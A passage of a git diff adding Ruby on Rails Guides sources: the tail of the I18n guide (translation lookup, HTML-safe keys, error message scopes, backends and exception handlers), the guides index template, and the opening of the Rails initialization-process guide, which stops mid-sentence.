+Alternatively, the separate gem [rails-i18n](https://github.com/svenfuchs/rails-i18n) can be used to provide a fuller set of locale-specific pluralization rules.
+
+### Setting and Passing a Locale
+
+The locale can be either set pseudo-globally to `I18n.locale` (which uses `Thread.current` like, e.g., `Time.zone`) or can be passed as an option to `#translate` and `#localize`.
+
+If no locale is passed, `I18n.locale` is used:
+
+```ruby
+I18n.locale = :de
+I18n.t :foo
+I18n.l Time.now
+```
+
+Explicitly passing a locale:
+
+```ruby
+I18n.t :foo, locale: :de
+I18n.l Time.now, locale: :de
+```
+
+The `I18n.locale` defaults to `I18n.default_locale` which defaults to :`en`. The default locale can be set like this:
+
+```ruby
+I18n.default_locale = :de
+```
+
+### Using Safe HTML Translations
+
+Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped.
+
+```yaml
+# config/locales/en.yml
+en:
+  welcome: <b>welcome!</b>
+  hello_html: <b>hello!</b>
+  title:
+    html: <b>title!</b>
+```
+
+```html+erb
+# app/views/home/index.html.erb
+<div><%= t('welcome') %></div>
+<div><%= raw t('welcome') %></div>
+<div><%= t('hello_html') %></div>
+<div><%= t('title.html') %></div>
+```
+
+Interpolation escapes as needed though. For example, given:
+
+```yaml
+en:
+  welcome_html: "<b>Welcome %{username}!</b>"
+```
+
+you can safely pass the username as set by the user:
+
+```erb
+<%# This is safe, it is going to be escaped if needed. %>
+<%= t('welcome_html', username: @current_user.username) %>
+```
+
+Safe strings on the other hand are interpolated verbatim.
+
+NOTE: Automatic conversion to HTML safe translate text is only available from the `translate` view helper method.
+
+![i18n demo html safe](images/i18n/demo_html_safe.png)
+
+### Translations for Active Record Models
+
+You can use the methods `Model.model_name.human` and `Model.human_attribute_name(attribute)` to transparently look up translations for your model and attribute names.
+
+For example when you add the following translations:
+
+```yaml
+en:
+  activerecord:
+    models:
+      user: Dude
+    attributes:
+      user:
+        login: "Handle"
+      # will translate User attribute "login" as "Handle"
+```
+
+Then `User.model_name.human` will return "Dude" and `User.human_attribute_name("login")` will return "Handle".
+
+You can also set a plural form for model names, adding as following:
+
+```yaml
+en:
+  activerecord:
+    models:
+      user:
+        one: Dude
+        other: Dudes
+```
+
+Then `User.model_name.human(count: 2)` will return "Dudes". With `count: 1` or without params will return "Dude".
+
+In the event you need to access nested attributes within a given model, you should nest these under `model/attribute` at the model level of your translation file:
+
+```yaml
+en:
+  activerecord:
+    attributes:
+      user/gender:
+        female: "Female"
+        male: "Male"
+```
+
+Then `User.human_attribute_name("gender.female")` will return "Female".
+
+NOTE: If you are using a class which includes `ActiveModel` and does not inherit from `ActiveRecord::Base`, replace `activerecord` with `activemodel` in the above key paths.
+
+#### Error Message Scopes
+
+Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.
+
+This gives you quite powerful means to flexibly adjust your messages to your application's needs.
+
+Consider a User model with a validation for the name attribute like this:
+
+```ruby
+class User < ApplicationRecord
+  validates :name, presence: true
+end
+```
+
+The key for the error message in this case is `:blank`. Active Record will look up this key in the namespaces:
+
+```ruby
+activerecord.errors.models.[model_name].attributes.[attribute_name]
+activerecord.errors.models.[model_name]
+activerecord.errors.messages
+errors.attributes.[attribute_name]
+errors.messages
+```
+
+Thus, in our example it will try the following keys in this order and return the first result:
+
+```ruby
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messages.blank
+```
+
+When your models are additionally using inheritance then the messages are looked up in the inheritance chain.
+
+For example, you might have an Admin model inheriting from User:
+
+```ruby
+class Admin < User
+  validates :name, presence: true
+end
+```
+
+Then Active Record will look for messages in this order:
+
+```ruby
+activerecord.errors.models.admin.attributes.name.blank
+activerecord.errors.models.admin.blank
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messages.blank
+```
+
+This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.
+
+#### Error Message Interpolation
+
+The translated model name, translated attribute name, and value are always available for interpolation as `model`, `attribute` and `value` respectively.
+
+So, for example, instead of the default error message `"cannot be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`.
+
+* `count`, where available, can be used for pluralization if present:
+
+| validation   | with option               | message                   | interpolation |
+| ------------ | ------------------------- | ------------------------- | ------------- |
+| confirmation | -                         | :confirmation             | attribute     |
+| acceptance   | -                         | :accepted                 | -             |
+| presence     | -                         | :blank                    | -             |
+| absence      | -                         | :present                  | -             |
+| length       | :within, :in              | :too_short                | count         |
+| length       | :within, :in              | :too_long                 | count         |
+| length       | :is                       | :wrong_length             | count         |
+| length       | :minimum                  | :too_short                | count         |
+| length       | :maximum                  | :too_long                 | count         |
+| uniqueness   | -                         | :taken                    | -             |
+| format       | -                         | :invalid                  | -             |
+| inclusion    | -                         | :inclusion                | -             |
+| exclusion    | -                         | :exclusion                | -             |
+| associated   | -                         | :invalid                  | -             |
+| non-optional association | -             | :required                 | -             |
+| numericality | -                         | :not_a_number             | -             |
+| numericality | :greater_than             | :greater_than             | count         |
+| numericality | :greater_than_or_equal_to | :greater_than_or_equal_to | count         |
+| numericality | :equal_to                 | :equal_to                 | count         |
+| numericality | :less_than                | :less_than                | count         |
+| numericality | :less_than_or_equal_to    | :less_than_or_equal_to    | count         |
+| numericality | :other_than               | :other_than               | count         |
+| numericality | :only_integer             | :not_an_integer           | -             |
+| numericality | :odd                      | :odd                      | -             |
+| numericality | :even                     | :even                     | -             |
+
+#### Translations for the Active Record `error_messages_for` Helper
+
+If you are using the Active Record `error_messages_for` helper, you will want to add
+translations for it.
+
+Rails ships with the following translations:
+
+```yaml
+en:
+  activerecord:
+    errors:
+      template:
+        header:
+          one:   "1 error prohibited this %{model} from being saved"
+          other: "%{count} errors prohibited this %{model} from being saved"
+        body:    "There were problems with the following fields:"
+```
+
+NOTE: In order to use this helper, you need to install [DynamicForm](https://github.com/joelmoss/dynamic_form)
+gem by adding this line to your Gemfile: `gem 'dynamic_form'`.
+
+### Translations for Action Mailer E-Mail Subjects
+
+If you don't pass a subject to the `mail` method, Action Mailer will try to find
+it in your translations. The performed lookup will use the pattern
+`<mailer_scope>.<action_name>.subject` to construct the key.
+
+```ruby
+# user_mailer.rb
+class UserMailer < ActionMailer::Base
+  def welcome(user)
+    #...
+  end
+end
+```
+
+```yaml
+en:
+  user_mailer:
+    welcome:
+      subject: "Welcome to Rails Guides!"
+```
+
+To send parameters to interpolation use the `default_i18n_subject` method on the mailer.
+
+```ruby
+# user_mailer.rb
+class UserMailer < ActionMailer::Base
+  def welcome(user)
+    mail(to: user.email, subject: default_i18n_subject(user: user.name))
+  end
+end
+```
+
+```yaml
+en:
+  user_mailer:
+    welcome:
+      subject: "%{user}, welcome to Rails Guides!"
+```
+
+### Overview of Other Built-In Methods that Provide I18n Support
+
+Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.
+
+#### Action View Helper Methods
+
+* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L4) translations.
+
+* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L39) scope if applicable.
+
+* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L37) scope.
+
+#### Active Model Methods
+
+* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L36) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
+
+* `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
+
+* `ActiveModel::Errors#full_messages` prepends the attribute name to the error message using a separator that will be looked up from [errors.format](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4) (and which defaults to `"%{attribute} %{message}"`).
+
+#### Active Support Methods
+
+* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L33) scope.
+
+How to Store your Custom Translations
+-------------------------------------
+
+The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2]
+
+For example a Ruby Hash providing translations can look like this:
+
+```yaml
+{
+  pt: {
+    foo: {
+      bar: "baz"
+    }
+  }
+}
+```
+
+The equivalent YAML file would look like this:
+
+```yaml
+pt:
+  foo:
+    bar: baz
+```
+
+As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz".
+
+Here is a "real" example from the Active Support `en.yml` translations YAML file:
+
+```yaml
+en:
+  date:
+    formats:
+      default: "%Y-%m-%d"
+      short: "%b %d"
+      long: "%B %d, %Y"
+```
+
+So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`:
+
+```ruby
+I18n.t 'date.formats.short'
+I18n.t 'formats.short', scope: :date
+I18n.t :short, scope: 'date.formats'
+I18n.t :short, scope: [:date, :formats]
+```
+
+Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
+
+Customize your I18n Setup
+-------------------------
+
+### Using Different Backends
+
+For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but cannot dynamically store them to any format.
+
+That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
+
+```ruby
+I18n.backend = Globalize::Backend::Static.new
+```
+
+You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend:
+
+```ruby
+I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
+```
+
+### Using Different Exception Handlers
+
+The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:
+
+```ruby
+MissingTranslationData       # no translation was found for the requested key
+InvalidLocale                # the locale set to I18n.locale is invalid (e.g. nil)
+InvalidPluralizationData     # a count option was passed but the translation data is not suitable for pluralization
+MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
+ReservedInterpolationKey     # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
+UnknownFileType              # the backend does not know how to handle a file type that was added to I18n.load_path
+```
+
+The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception's error message string containing the missing key/scope.
+
+The reason for this is that during development you'd usually want your views to still render even though a translation is missing.
+
+In other contexts you might want to change this behavior, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with `#call` method:
+
+```ruby
+module I18n
+  class JustRaiseExceptionHandler < ExceptionHandler
+    def call(exception, locale, key, options)
+      if exception.is_a?(MissingTranslationData)
+        raise exception.to_exception
+      else
+        super
+      end
+    end
+  end
+end
+
+I18n.exception_handler = I18n::JustRaiseExceptionHandler.new
+```
+
+This would re-raise only the `MissingTranslationData` exception, passing all other input to the default exception handler.
+
+However, if you are using `I18n::Backend::Pluralization` this handler will also raise `I18n::MissingTranslationData: translation missing: en.i18n.plural.rule` exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use additional check for translation key:
+
+```ruby
+if exception.is_a?(MissingTranslationData) && key.to_s != 'i18n.plural.rule'
+  raise exception.to_exception
+else
+  super
+end
+```
+
+Another example where the default behavior is less desirable is the Rails TranslationHelper which provides the method `#t` (as well as `#translate`). When a `MissingTranslationData` exception occurs in this context, the helper wraps the message into a span with the CSS class `translation_missing`.
+
+To do so, the helper forces `I18n#translate` to raise exceptions no matter what exception handler is defined by setting the `:raise` option:
+
+```ruby
+I18n.t :foo, raise: true # always re-raises exceptions from the backend
+```
+
+Conclusion
+----------
+
+At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.
+
+If you want to discuss certain portions or have questions, please sign up to the [rails-i18n mailing list](http://groups.google.com/group/rails-i18n).
+
+
+Contributing to Rails I18n
+--------------------------
+
+I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in gems and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.
+
+Thus we encourage everybody to experiment with new ideas and features in gems or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](http://groups.google.com/group/rails-i18n)!)
+
+If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and-submit-your-modifications) the repository, add your data and send a [pull request](https://help.github.com/articles/about-pull-requests/).
+
+
+Resources
+---------
+
+* [Google group: rails-i18n](http://groups.google.com/group/rails-i18n) - The project's mailing list.
+* [GitHub: rails-i18n](https://github.com/svenfuchs/rails-i18n) - Code repository and issue tracker for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases.
+* [GitHub: i18n](https://github.com/svenfuchs/i18n) - Code repository and issue tracker for the i18n gem.
+
+
+Authors
+-------
+
+* [Sven Fuchs](http://svenfuchs.com) (initial author)
+* [Karel Minařík](http://www.karmi.cz)
+
+Footnotes
+---------
+
+[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
+
+[^2]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
+
+[^3]: One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.
diff --git a/guides/source/index.html.erb b/guides/source/index.html.erb
new file mode 100644
index 0000000000..2fdf18a2e9
--- /dev/null
+++ b/guides/source/index.html.erb
@@ -0,0 +1,28 @@
+<% content_for :page_title do %>
+Ruby on Rails Guides
+<% end %>
+
+<% content_for :header_section do %>
+<%= render 'welcome' %>
+<% end %>
+
+<% content_for :index_section do %>
+<div id="subCol">
+  <dl>
+    <dt></dt>
+    <dd class="kindle">Rails Guides are also available for <%= link_to 'Kindle', @mobi %>.</dd>
+    <dd class="work-in-progress">Guides marked with this icon are currently being worked on and will not be available in the Guides Index menu. While still useful, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections.</dd>
+  </dl>
+</div>
+<% end %>
+
+<% documents_by_section.each do |section| %>
+  <h3><%= section['name'] %></h3>
+  <dl>
+    <% section['documents'].each do |document| %>
+      <%= guide(document['name'], document['url'], work_in_progress: document['work_in_progress']) do %>
+        <p><%= document['description'] %></p>
+      <% end %>
+    <% end %>
+  </dl>
+<% end %>
diff --git a/guides/source/initialization.md b/guides/source/initialization.md
new file mode 100644
index 0000000000..ccad10f07d
--- /dev/null
+++ b/guides/source/initialization.md
@@ -0,0 +1,709 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+The Rails Initialization Process
+================================
+
+This guide explains the internals of the initialization process in Rails.
+It is an extremely in-depth guide and recommended for advanced Rails developers.
+
+After reading this guide, you will know:
+
+* How to use `rails server`.
+* The timeline of Rails' initialization sequence.
+* Where different files are required by the boot sequence.
+* How the Rails::Server interface is defined and used.
+
+--------------------------------------------------------------------------------
+
+This guide goes through every method call that is
+required to boot up the Ruby on Rails stack for a default Rails
+application, explaining each part in detail along the way. For this
+guide, we will be focusing on what happens when you execute `rails server`
+to boot your app.
+
+NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified.
+
+TIP: If you want to follow along while browsing the Rails [source
+code](https://github.com/rails/rails), we recommend that you use the `t`
+key binding to open the file finder inside GitHub and find files
+quickly.
+
+Launch!
+-------
+
+Let's start to boot and initialize the app. A Rails application is usually
+started by running `rails console` or `rails server`.
+
+### `railties/exe/rails`
+
+The `rails` in the command `rails server` is a ruby executable in your load
+path. This executable contains the following lines:
+
+```ruby
+version = ">= 0"
+load Gem.bin_path('railties', 'rails', version)
+```
+
+If you try out this command in a Rails console, you would see that this loads
+`railties/exe/rails`. A part of the file `railties/exe/rails.rb` has the
+following code:
+
+```ruby
+require "rails/cli"
+```
+
+The file `railties/lib/rails/cli` in turn calls
+`Rails::AppLoader.exec_app`.
+
+### `railties/lib/rails/app_loader.rb`
+
+The primary goal of the function `exec_app` is to execute your app's
+`bin/rails`. If the current directory does not have a `bin/rails`, it will
+navigate upwards until it finds a `bin/rails` executable. Thus one can invoke a
+`rails` command from anywhere inside a rails application.
+
+For `rails server` the equivalent of the following command is executed:
+
+```bash
+$ exec ruby bin/rails server
+```
+
+### `bin/rails`
+
+This file is as follows:
+
+```ruby
+#!/usr/bin/env ruby
+APP_PATH = File.expand_path('../config/application', __dir__)
+require_relative '../config/boot'
+require 'rails/commands'
+```
+
+The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot` file referenced here is the `config/boot.rb` file in our application which is responsible for loading Bundler and setting it up.
+
+### `config/boot.rb`
+
+`config/boot.rb` contains:
+
+```ruby
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__)
+
+require 'bundler/setup' # Set up gems listed in the Gemfile.
+```
+
+In a standard Rails application, there's a `Gemfile` which declares all
+dependencies of the application. `config/boot.rb` sets
+`ENV['BUNDLE_GEMFILE']` to the location of this file. If the Gemfile
+exists, then `bundler/setup` is required. The require is used by Bundler to
+configure the load path for your Gemfile's dependencies.
+
+A standard Rails application depends on several gems, specifically:
+
+* actionmailer
+* actionpack
+* actionview
+* activemodel
+* activerecord
+* activesupport
+* activejob
+* arel
+* builder
+* bundler
+* erubi
+* i18n
+* mail
+* mime-types
+* rack
+* rack-cache
+* rack-mount
+* rack-test
+* rails
+* railties
+* rake
+* sqlite3
+* thor
+* tzinfo
+
+### `rails/commands.rb`
+
+Once `config/boot.rb` has finished, the next file that is required is
+`rails/commands`, which helps in expanding aliases. In the current case, the
+`ARGV` array simply contains `server` which will be passed over:
+
+```ruby
+require "rails/command"
+
+aliases = {
+  "g"  => "generate",
+  "d"  => "destroy",
+  "c"  => "console",
+  "s"  => "server",
+  "db" => "dbconsole",
+  "r"  => "runner",
+  "t"  => "test"
+}
+
+command = ARGV.shift
+command = aliases[command] || command
+
+Rails::Command.invoke command, ARGV
+```
+
+If we had used `s` rather than `server`, Rails would have used the `aliases`
+defined here to find the matching command.
+
+### `rails/command.rb`
+
+When one types a Rails command, `invoke` tries to lookup a command for the given
+namespace and executes the command if found.
+
+If Rails doesn't recognize the command, it hands the reins over to Rake
+to run a task of the same name.
+
+As shown, `Rails::Command` displays the help output automatically if the `args`
+are empty.
+
+```ruby
+module Rails::Command
+  class << self
+    def invoke(namespace, args = [], **config)
+      namespace = namespace.to_s
+      namespace = "help" if namespace.blank? || HELP_MAPPINGS.include?(namespace)
+      namespace = "version" if %w( -v --version ).include? namespace
+    
+      if command = find_by_namespace(namespace)
+        command.perform(namespace, args, config)
+      else
+        find_by_namespace("rake").perform(namespace, args, config)
+      end
+    end
+  end
+end
+```
+
+With the `server` command, Rails will further run the following code:
+
+```ruby
+module Rails
+  module Command
+    class ServerCommand < Base # :nodoc:
+      def perform
+        set_application_directory!
+  
+        Rails::Server.new.tap do |server|
+          # Require application after server sets environment to propagate
+          # the --environment option.
+          require APP_PATH
+          Dir.chdir(Rails.application.root)
+          server.start
+        end
+      end
+    end
+  end
+end
+```
+
+This file will change into the Rails root directory (a path two directories up
+from `APP_PATH` which points at `config/application.rb`), but only if the
+`config.ru` file isn't found. This then starts up the `Rails::Server` class.
+
+### `actionpack/lib/action_dispatch.rb`
+
+Action Dispatch is the routing component of the Rails framework.
+It adds functionality like routing, session, and common middlewares.
+
+### `rails/commands/server/server_command.rb`
+
+The `Rails::Server` class is defined in this file by inheriting from
+`Rack::Server`. When `Rails::Server.new` is called, this calls the `initialize`
+method in `rails/commands/server/server_command.rb`:
+
+```ruby
+def initialize(*)
+  super
+  set_environment
+end
+```
+
+Firstly, `super` is called which calls the `initialize` method on `Rack::Server`.
+
+### Rack: `lib/rack/server.rb`
+
+`Rack::Server` is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.
+
+The `initialize` method in `Rack::Server` simply sets a couple of variables:
+
+```ruby
+def initialize(options = nil)
+  @options = options
+  @app = options[:app] if options && options[:app]
+end
+```
+
+In this case, `options` will be `nil` so nothing happens in this method.
+
+After `super` has finished in `Rack::Server`, we jump back to
+`rails/commands/server/server_command.rb`. At this point, `set_environment`
+is called within the context of the `Rails::Server` object and this method
+doesn't appear to do much at first glance:
+
+```ruby
+def set_environment
+  ENV["RAILS_ENV"] ||= options[:environment]
+end
+```
+
+In fact, the `options` method here does quite a lot. This method is defined in `Rack::Server` like this:
+
+```ruby
+def options
+  @options ||= parse_options(ARGV)
+end
+```
+
+Then `parse_options` is defined like this:
+
+```ruby
+def parse_options(args)
+  options = default_options
+
+  # Don't evaluate CGI ISINDEX parameters.
+  # http://www.meb.uni-bonn.de/docs/cgi/cl.html
+  args.clear if ENV.include?("REQUEST_METHOD")
+
+  options.merge! opt_parser.parse!(args)
+  options[:config] = ::File.expand_path(options[:config])
+  ENV["RACK_ENV"] = options[:environment]
+  options
+end
+```
+
+With the `default_options` set to this:
+
+```ruby
+def default_options
+  super.merge(
+    Port:               ENV.fetch("PORT", 3000).to_i,
+    Host:               ENV.fetch("HOST", "localhost").dup,
+    DoNotReverseLookup: true,
+    environment:        (ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "development").dup,
+    daemonize:          false,
+    caching:            nil,
+    pid:                Options::DEFAULT_PID_PATH,
+    restart_cmd:        restart_command)
+end
+```
+
+There is no `REQUEST_METHOD` key in `ENV` so we can skip over that line. The next line merges in the options from `opt_parser` which is defined plainly in `Rack::Server`:
+
+```ruby
+def opt_parser
+  Options.new
+end
+```
+
+The class **is** defined in `Rack::Server`, but is overwritten in
+`Rails::Server` to take different arguments. Its `parse!` method looks
+like this:
+
+```ruby
+def parse!(args)
+  args, options = args.dup, {}
+
+  option_parser(options).parse! args
+  
+  options[:log_stdout] = options[:daemonize].blank? && (options[:environment] || Rails.env) == "development"
+  options[:server]     = args.shift
+  options
+end
+```
+
+This method will set up keys for the `options` which Rails will then be
+able to use to determine how its server should run. After `initialize`
+has finished, we jump back into the server command where `APP_PATH` (which was
+set earlier) is required.
+
+### `config/application`
+
+When `require APP_PATH` is executed, `config/application.rb` is loaded (recall
+that `APP_PATH` is defined in `bin/rails`). This file exists in your application
+and it's free for you to change based on your needs.
+
+### `Rails::Server#start`
+
+After `config/application` is loaded, `server.start` is called. This method is
+defined like this:
+
+```ruby
+def start
+  print_boot_information
+  trap(:INT) { exit }
+  create_tmp_directories
+  setup_dev_caching
+  log_to_stdout if options[:log_stdout]
+
+  super
+  ...
+end
+
+private
+  def print_boot_information
+    ...
+    puts "=> Run `rails server -h` for more startup options"
+  end
+
+  def create_tmp_directories
+    %w(cache pids sockets).each do |dir_to_make|
+      FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
+    end
+  end
+
+  def setup_dev_caching
+    if options[:environment] == "development"
+      Rails::DevCaching.enable_by_argument(options[:caching])
+    end
+  end
+
+  def log_to_stdout
+    wrapped_app # touch the app so the logger is set up
+  
+    console = ActiveSupport::Logger.new(STDOUT)
+    console.formatter = Rails.logger.formatter
+    console.level = Rails.logger.level
+  
+    unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDOUT)
+      Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
+    end
+  end
+```
+
+This is where the first output of the Rails initialization happens. This method
+creates a trap for `INT` signals, so if you `CTRL-C` the server, it will exit the
+process. As we can see from the code here, it will create the `tmp/cache`,
+`tmp/pids`, and `tmp/sockets` directories. It then enables caching in development
+if `rails server` is called with `--dev-caching`. Finally, it calls `wrapped_app` which is
+responsible for creating the Rack app, before creating and assigning an instance
+of `ActiveSupport::Logger`.
+
+The `super` method will call `Rack::Server.start` which begins its definition like this:
+
+```ruby
+def start &blk
+  if options[:warn]
+    $-w = true
+  end
+
+  if includes = options[:include]
+    $LOAD_PATH.unshift(*includes)
+  end
+
+  if library = options[:require]
+    require library
+  end
+
+  if options[:debug]
+    $DEBUG = true
+    require 'pp'
+    p options[:server]
+    pp wrapped_app
+    pp app
+  end
+
+  check_pid! if options[:pid]
+
+  # Touch the wrapped app, so that the config.ru is loaded before
+  # daemonization (i.e. before chdir, etc).
+  wrapped_app
+
+  daemonize_app if options[:daemonize]
+
+  write_pid if options[:pid]
+
+  trap(:INT) do
+    if server.respond_to?(:shutdown)
+      server.shutdown
+    else
+      exit
+    end
+  end
+
+  server.run wrapped_app, options, &blk
+end
+```
+
+The interesting part for a Rails app is the last line, `server.run`. Here we encounter the `wrapped_app` method again, which this time
+we're going to explore more (even though it was executed before, and
+thus memoized by now).
+
+```ruby
+@wrapped_app ||= build_app app
+```
+
+The `app` method here is defined like so:
+
+```ruby
+def app
+  @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
+end
+...
+private
+  def build_app_and_options_from_config
+    if !::File.exist? options[:config]
+      abort "configuration #{options[:config]} not found"
+    end
+
+    app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+    self.options.merge! options
+    app
+  end
+
+  def build_app_from_string
+    Rack::Builder.new_from_string(self.options[:builder])
+  end
+```
+
+The `options[:config]` value defaults to `config.ru` which contains this:
+
+```ruby
+# This file is used by Rack-based servers to start the application.
+
+require_relative 'config/environment'
+run <%= app_const %>
+```
+
+
+The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code:
+
+```ruby
+app = new_from_string cfgfile, config
+
+...
+
+def self.new_from_string(builder_script, file="(rackup)")
+  eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app",
+    TOPLEVEL_BINDING, file, 0
+end
+```
+
+The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The `require` line for `config/environment.rb` in `config.ru` is the first to run:
+
+```ruby
+require_relative 'config/environment'
+```
+
+### `config/environment.rb`
+
+This file is the common file required by `config.ru` (`rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.
+
+This file begins with requiring `config/application.rb`:
+
+```ruby
+require_relative 'application'
+```
+
+### `config/application.rb`
+
+This file requires `config/boot.rb`:
+
+```ruby
+require_relative 'boot'
+```
+
+But only if it hasn't been required before, which would be the case in `rails server`
+but **wouldn't** be the case with Passenger.
+
+Then the fun begins!
+
+Loading Rails
+-------------
+
+The next line in `config/application.rb` is:
+
+```ruby
+require 'rails/all'
+```
+
+### `railties/lib/rails/all.rb`
+
+This file is responsible for requiring all the individual frameworks of Rails:
+
+```ruby
+require "rails"
+
+%w(
+  active_record/railtie
+  action_controller/railtie
+  action_view/railtie
+  action_mailer/railtie
+  active_job/railtie
+  action_cable/engine
+  rails/test_unit/railtie
+  sprockets/railtie
+).each do |railtie|
+  begin
+    require railtie
+  rescue LoadError
+  end
+end
+```
+
+This is where all the Rails frameworks are loaded and thus made
+available to the application. We won't go into detail of what happens
+inside each of those frameworks, but you're encouraged to try and
+explore them on your own.
+
+For now, just keep in mind that common functionality like Rails engines,
+I18n and Rails configuration are all being defined here.
+
+### Back to `config/environment.rb`
+
+The rest of `config/application.rb` defines the configuration for the
+`Rails::Application` which will be used once the application is fully
+initialized. When `config/application.rb` has finished loading Rails and defined
+the application namespace, we go back to `config/environment.rb`. Here, the
+application is initialized with `Rails.application.initialize!`, which is
+defined in `rails/application.rb`.
+
+### `railties/lib/rails/application.rb`
+
+The `initialize!` method looks like this:
+
+```ruby
+def initialize!(group=:default) #:nodoc:
+  raise "Application has been already initialized." if @initialized
+  run_initializers(group, self)
+  @initialized = true
+  self
+end
+```
+
+As you can see, you can only initialize an app once. The initializers are run through
+the `run_initializers` method which is defined in `railties/lib/rails/initializable.rb`:
+
+```ruby
+def run_initializers(group=:default, *args)
+  return if instance_variable_defined?(:@ran)
+  initializers.tsort_each do |initializer|
+    initializer.run(*args) if initializer.belongs_to?(group)
+  end
+  @ran = true
+end
+```
+
+The `run_initializers` code itself is tricky. What Rails is doing here is
+traversing all the class ancestors looking for those that respond to an
+`initializers` method. It then sorts the ancestors by name, and runs them.
+For example, the `Engine` class will make all the engines available by
+providing an `initializers` method on them.
+
+The `Rails::Application` class, as defined in `railties/lib/rails/application.rb`
+defines `bootstrap`, `railtie`, and `finisher` initializers. The `bootstrap` initializers
